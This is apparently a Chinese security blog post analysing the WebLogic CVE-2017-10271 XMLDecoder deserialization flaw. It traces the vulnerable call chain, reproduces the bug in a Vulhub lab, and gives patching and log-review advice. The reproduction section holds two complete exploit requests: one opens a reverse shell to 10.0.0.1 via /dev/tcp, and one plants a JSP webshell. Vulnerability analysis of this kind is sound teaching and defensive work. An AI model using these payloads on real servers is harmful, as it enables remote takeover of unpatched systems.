cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析
目录
1.漏洞背景
2.漏洞原理分析
3.漏洞测试
环境搭建
漏洞复现
4.修复建议
1.漏洞背景
Weblogic是oracle推出的application server,由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性,备受广大系统管理员的青睐。根据不完全统计weblogic约占全球市场份额1/3,正因为这么高的占有率,也造成每次weblogic有新的漏洞,都会在业内引起轩然大波。在2017年接近尾声时,weblogic又再次给大家带来了巨大惊喜,CVE-2017-10271漏洞又一次席卷了政府、银行等各大行业。
其实在很早的时候,oracle官方就发布了有关CVE-2017-3506的补丁,由于是采用了黑名单的修复方式,没有彻底将该漏洞进行修复,具体修复代码如下:
由于当时并没有出现大量利用exp,所以此漏洞并没有被大规模利用,早期的补丁由于没有彻底修复,可通过构造相关http请求,依然可以进行远程命令执行。Oracle在后续又再次发布了CVE-2017-10271的补丁,具体补丁信息如下:
推文上的一篇关于weblogic 0day,可以利用该漏洞进行远程植入挖矿木马的文章引发了大家的注意,随之10271上了各大安全论坛、安全厂商的头条,也正式开启了安全服务商的应急服务。
2.漏洞原理分析
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
测试xml代码如下:
Java读取xml文件文件进行反序列化命令执行如下,执行相关java代码即可执行calc,打开计算器
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法如下:
将localheader1带入readHeaderOld,对localHeader1具体定义如下:
localHeader1=localHeaderList.get(WorkAreaConstants.WORK_AREA_HEADER,true);
readHeaderOld函数具体如下,创建WorkContextXmlInputAdapter(weblogic/wsee/jaxws/workcontext)
WorkContextXmlInputAdapter类具体如下,此处通过XMLDecoder实现实体和xml内容的转换,随即出现了XMLDecoder反序列化,使得java在调用xml时实现了内容可控。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
3.漏洞测试
环境搭建
Vulhub 启动测试环境:
docker-compose up -d
等待一段时间,访问http://your-ip:7001/
即可看到一个404页面,说明weblogic已成功启动。
漏洞复现
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
成功获取shell:
写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp
):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[
<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
4.修复建议
该漏洞还是给很多行业带来了巨大冲击,就针对山东省而言,多家政府、事业单位也纷纷被攻击者利用该漏洞植入恶意程序,提出以下加固意见:
Ø Oracle下载相关10271补丁,下载地址如下http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;
Ø 根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat/ 提示404错误;
针对该漏洞被恶意利用的单位可查看如下如下路径进行日志查看,具体的路径根据实际安装情况进行查看:
xx:\xx\Middleware\user_projects\domains\base_domain\servers\AdminServer\logs
具体日志内容如下:
参考资料:
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
http://pirogue.org/2017/12/29/weblogic-XMLDecoder/
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271
http://www.cnblogs.com/backlion/p/8194324.htm
cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析相关推荐
- JAVA反序列化漏洞原理分析
反序列化漏洞原理分析 从序列化和反序列化说起 什么是序列化和反序列化? 简单来讲,序列化就是把对象转换为字节序列(即可以存储或传输的形式)的过程,而反序列化则是他的逆操作,即把一个字节序列还原为对象的 ...
- 蓝牙App系列漏洞原理分析与漏洞利用
蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...
- log4j漏洞原理分析复现检测复盘
凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...
- linux shellshock漏洞,shellshock漏洞原理分析(cve-2014-6271 bash漏洞)
shellshock漏洞原理分析(cve-2014-6271 bash漏洞) 2014-09-26 10:04:16 阅读:0次 概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造 ...
- shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)
漏洞原理 本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后. 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证.授权.密码和会话管理. ...
- CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞
漏洞产生原因: CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据 ...
- 00005在java结果输出_浅谈Java反序列化漏洞原理(案例未完善后续补充)
摘要: 0005,这个16进制流基本上也意味者java反序列化的开始:(2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果:以上意味着存在Java反序列化,可尝试构造pa ...
- 打印机PCL漏洞原理分析
0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...
- 常见WEB漏洞原理分析
一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...
最新文章
- 【Visual C++】一些开发心得与调试技巧
- Python语法基础(长期)
- 专升本c语言网课听谁的好_都说塑钢泥比玻璃胶好,填缝永不变黑,师傅却说不好用,听谁的?...
- saltstack-部署
- maven添加子工程_Maven建立父子项目和跨项目调用内容的步骤—佳佳小白
- P11:经典卷积神经网络结构案例分析
- 安卓电视硬件测试软件,据说这是2017 最好用的智能电视软件!
- Asia Hong Kong Regional Contest 2016
- iOS 之归档解档(nskeyarchieve)
- 【网络与系统安全实验】网络扫描与防御技术
- Func:统一网络控制器
- Ubuntu 磁盘管理 命令行工具
- 红米Note 4X详细刷成开发版开启ROOT超级权限的教程
- 《Android Studio 开发实战从零基础到App上线》笔记1
- Microsoft Visual Studio 各版本对应关系
- 基于Keil的nRF52840新建工程
- 话说天下大势 分久必合 合久必分
- tp无线监控显示服务器内部错误,无线监控摄像头连接Wi-Fi成功,但绑定TP-LINK ID失败?...
- 北京建筑大学计算机科学,北京这三所理工类高校虽不是211,但实力也很强劲,可惜不够出名...
- Qt界面美化-飞扬青云自绘控件插件的使用-避免采坑